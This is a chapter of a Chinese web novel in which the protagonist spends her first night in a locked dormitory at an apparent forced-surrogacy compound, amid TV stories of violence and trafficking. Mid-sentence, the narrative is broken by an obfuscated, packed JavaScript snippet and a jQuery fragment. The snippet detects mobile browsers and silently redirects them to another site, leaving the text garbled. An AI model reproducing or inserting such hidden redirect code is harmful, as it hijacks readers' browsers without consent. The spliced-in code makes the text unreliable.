18. 宿舍生活

作品:《我居然变成了女人?

    “吃饭了。”一个女人推着餐车进来,给每人发了一份盒饭。


    岳金裙一看外面,天居然已经黑了,她才吃到今天的第一顿饭,她已经饿过劲,胃都不闹腾了。


    “快吃吧,这儿的伙食很好的。”张思丽利索撕开一次性筷子,磨一磨筷子顶部毛刺,大口吃起来。


    这份盒饭确实不错,自岳金裙变成女人以来,这还是她第一次吃到如此色香味俱全的饭菜。


    虽然只是一份盒饭,但是饭、肉、蔬菜、汤全都有了,比程有柱家的饭菜不知道上了几个台阶,她吃着盒饭,居然陡然而生一种幸福与满足感。


    抬头看去,另外3个室友也吃得极为满足,张思丽喝完最后一口汤,还打了一个饱嗝。


    “饭盒扔在垃圾桶就行,明天阿姨来送饭的时候,会带走的。”


    张思丽起身扔完饭盒,并未躺到床上,反而在室内慢慢走起来。


    “来吧,溜会儿食吧,我刚做完移植,反而要动一动呢,不能一直躺着,这是赵医生说的。”


    “我们就只能在这间屋子里面呆着吗?这里有监控吗?”岳金裙想要去外面看看。


    “每天上午可以去下面遛弯,但是不能出园区,明天你再出去吧。”


    张思丽自在地伸展双臂,做扩胸运动,上下左右转着脖子。


    “我们住的房间是没有监控的,但是楼道、下面都有监控。”


    “滴—”较年轻的大肚子女人钱三喜打开了墙上的电视。


    “看会儿电视吧,现在没有手机,只有看看电视解闷儿,不然太无聊了,你没来之前,我们三个把知道的八卦都说了,实在没有可说的了。”


    “你们可以跟我再说一遍,我也可以跟你们说我知道的八卦,这不就又有新的了。”


    “哈哈,金裙,我就是这么想的。”


    【今日热点新闻:青市一女子驾车撞人致53死,是因为迟迟无法离婚,丈夫用最新生育政策逼生三胎,心生不满,造成53人死亡,75人受伤。】


    四人不再将电视声当作背景音,均抬头震惊地看向电视。


    年长的女人赵淑惠叹息摇头:“这世道怎么了?怎么这种事越来越多,以前还只是男人开车撞死人,现在女人都这么干了?”


    钱三喜也应和道:“是啊,不生孩子怎么行啊,现在让生三胎就赶紧趁年轻生呗,生自己的孩子总比我们在这儿生别人的孩子要好吧?”


    岳金裙不置可否,外面的女人行事好像更加激烈,岳金裙都不敢相信,这居然是以前柔顺的女人,都敢开车撞人发泄不满了,以前最大的反抗可都只是自杀的。


    钱三喜举起遥控器又换了一个台。


    【15岁少女反杀2名男子:和市两名男子尾随15岁少女,欲拖入巷子施暴时,被少女拔下发簪反杀。原来少女自小练习散打……】


    赵淑惠:“这不流氓吗?幸好这女孩练散打保护了自己,这俩男的打死都不算冤。”


    “是啊,我要是会散打,我家那口子打我的时候,我还会让他打?我打不死他。”钱三喜又按了一下遥控器。


    赵淑惠忙制止钱三喜再换台:“哎,看《苦娘》这个电视剧吧,这个女人苦啊,被拐卖进大山里嫁给瘸腿老男人,生儿育女还要干活挣钱拉扯一家子。


    最后终于在警察、家人的帮助下,寻到亲人,一家子终于团圆了。”


    “这个女人找到亲人不回去吗?还跟这个男人过?”


    岳金裙看到片头中闪过一家子团圆的画面,似乎还有苦娘的瘸腿老公,苦娘父母似乎在握手感谢。


    “看你说的,都过了这么多年,又有儿子又有女儿的,不跟这个男人过,跟谁过啊?好歹这是儿女的亲爹呀。”


    赵淑惠摇头笑道,仿佛在看一个不经世事的小年轻。


    “是啊,苦娘也有哥哥弟弟,那都有自己的家庭,父母也老了,父母都是跟着儿子过的。苦娘一个人回去了,跟谁过啊?谁养她啊?还不如跟着儿子女儿老公继续过,以后好歹有人养老。”钱三喜也十分赞同。


    岳金裙无话可说。


    确实,爱丁堡国是以家庭为社会最小单位的,家庭的托底和养老仍然是主要模式。若是有钱,一切都好说,但苦娘明显是没钱的,只能是无限妥协,苟延残喘。


    况且人处于家庭中,家庭处于社会中,只能受制于各方压力,原谅全世界,皆大欢喜,其乐融融包饺子,而该妇女失去的一生,只能掩盖在阖家团圆之下,无人在乎。


    “别看这个了,我从小就不耐烦看这些苦情剧。”张思丽听得非常难受,想要抢过遥控器。


    “哎。”赵淑惠抢先夺过遥控器,“你不想看,我们还想看呢,按照咱们的排班,今天遥控器归我。


    苦娘苦,你不苦啊?你不苦在这儿搞什么代孕?快多看点更苦的解解苦吧。”


    “哈哈哈”赵淑惠和钱三喜一同笑了起来。


    张思丽气得也不遛弯了,躺在自己床上拉起被子,盖住自己的耳朵。


    《苦娘》还在播放,进展到了苦娘发现自己被卖,哭求放过,而买她的瘸腿男人无动于衷,并撕扯她的衣服,强行要过夫妻生活的时候。


    岳金裙联想到自身,可能全天下被拐妇女都是差不多的遭遇吧,没有最苦,只有更苦,无法再看下去,推门出了宿舍。


    她在楼道里面吹了一会儿风,突然听到左边楼的5楼有个大肚子的女人大喊大叫,在楼道里疯狂跑来跑去,身后有几个人在追着她。


    她爬上一扇半开的窗户,想要跳楼,岳金裙吓了一跳,幸好身后有人猛然抱住了她,几个人一起把她拖下窗户,拖到一个房间,后面传出来的声音就听不清楚了。


    可能声音太大了,岳金裙发现不只是她在看,楼道里人越来越多,都在探头张望,往下一看,每一层都站了密密麻麻的人。


    右边楼也有很多人出来看热闹,不过都是男人,这些男人的肚子好像都非常大,有些四肢明显比较纤细的男人,肚子尤为突出,显得非常畸形,让岳金裙十分不解。


    这几栋楼中,明显自己这栋楼住的都是女人,可以在一定范围内自由活动,而左边疯女人那栋楼,闹的最欢,却没有几个人出来看。右边那栋楼,住的却是大肚子的男人,女人尚且代孕,这么多的男人是干什么的?还都是大肚子?


    “都回去,要锁门了。”岳金裙和左边楼都响起了一道女声,右边男人那栋楼,也有男声响起。楼道里的人全部都很快进了各自的宿舍,岳金裙也走进宿舍。


    宿舍内看电视的2人对外面的声音置若罔闻,一副习以为常,不想凑热闹的样子。而张思丽还在蒙头盖着被子,可能已经睡着了。


    很快,岳金裙只听门锁


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730156|157260||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “吧嗒”一声,她走到门边再想开门,已经开不了了。


    “晚上8点了,这里8点统一锁门,不能再出去了,明天8点才会开门。还有,10点断水断电,你要是不想看电视,就先去洗漱,我们一会儿洗。”


    赵淑惠看岳金裙疑惑的样子,向她解释道。


    岳金裙不想看《苦娘》,好像处处在影射自己,一个人进了卫生间。


    在卫生间环视一圈,柜子和马桶水箱都打开查了查,遗憾地没有在这些电视剧、小说中有名的藏物地找到任何有价值的东西。


    快速简单洗漱了一下,岳金裙也上床睡了。


    “哗啦……”


    岳金裙被水声和走路声惊醒,看到3名室友有的在洗漱,有的在走动,有的坐在床上。


    “还没打开门吗?”岳金裙也跟随她们的步伐,赶紧起床。


    “还没到8点呢,你先起来洗漱吧。”张思丽已经调整好了心态,在整着被子,笑着对岳金裙说。


    “昨天左边楼里大喊大叫,你听到了没有?左边楼里是什么人啊?”


    “听说左边楼住的都是疯子,我也没见过她们,她们都是不能出来的,听说都被绑在床里。”张思丽神神秘秘说道。


    “我看肚子也大着,她们是疯子也生孩子?”岳金裙很惊讶。


    “谁知道她们是干嘛的?再说疯子怎么不能生孩子了?多了去了。”


    “那右边呢?好像都是男人,还大着肚子。”


    “右边,听说是那什么高科技,男人生子那个,神神秘秘的,等待会儿出去放风的时候你就见到了,上次我好奇找他们说话,也没人理我。”


    张思丽也有些疑惑,摇摇头整好被褥就进了卫生间。


    到了8点,被锁住的门果然打开,昨天来送餐的阿姨又把早饭送来,一言不发,放下饭后就立刻推车餐车出去。


    墙上挂着的电视机也自动打开,岳金裙定睛一看,居然播放起代孕宣传片,大肆宣传代孕的好处,简直把代孕说成一项利国利民的大好事、大善事。


    “快点吃吧,待会9点我们就能下去自由活动了。”张思丽很是照顾岳金裙,招呼她快来吃饭。


    “这个,这个……”岳金裙指着电视机。


    “不用管它,想看就看,不想看就不看。每天8点到9点都循环播放。”


    岳金裙看赵淑惠和钱三喜也对电视机浑不在意,早已听了不知道多少遍,习以为常了。


    岳金裙也强迫自己不再关注电视,吃完饭后,岳金裙和张思丽闲聊,计划到了9点由张思丽带着岳金裙介绍一番,张思丽很有一种将要成为老师和引路者的兴奋感。


    但是还未到9点,门开了,一个穿着白大褂的年轻男人站在门口,


    “岳金裙,跟我走。”


    “赵医生早啊。”张思丽兴奋地跟这个男医生打招呼,催促岳金裙,“你快跟着他去吧。”


    岳金裙别无选择,跟着赵医生走了出去。


    看张思丽的样子,这个医生可能是负责给她做移植的,早就认识,或许人还不错,不然张思丽不能这么放松和高兴。


    赵医生把岳金裙带到一个房间,房间内还有另外5个女人,面前有一个大的摄像头。


    “在摄像头面前站成一排,不要说话不要动。”赵医生要求众人照做,然后退出了房间。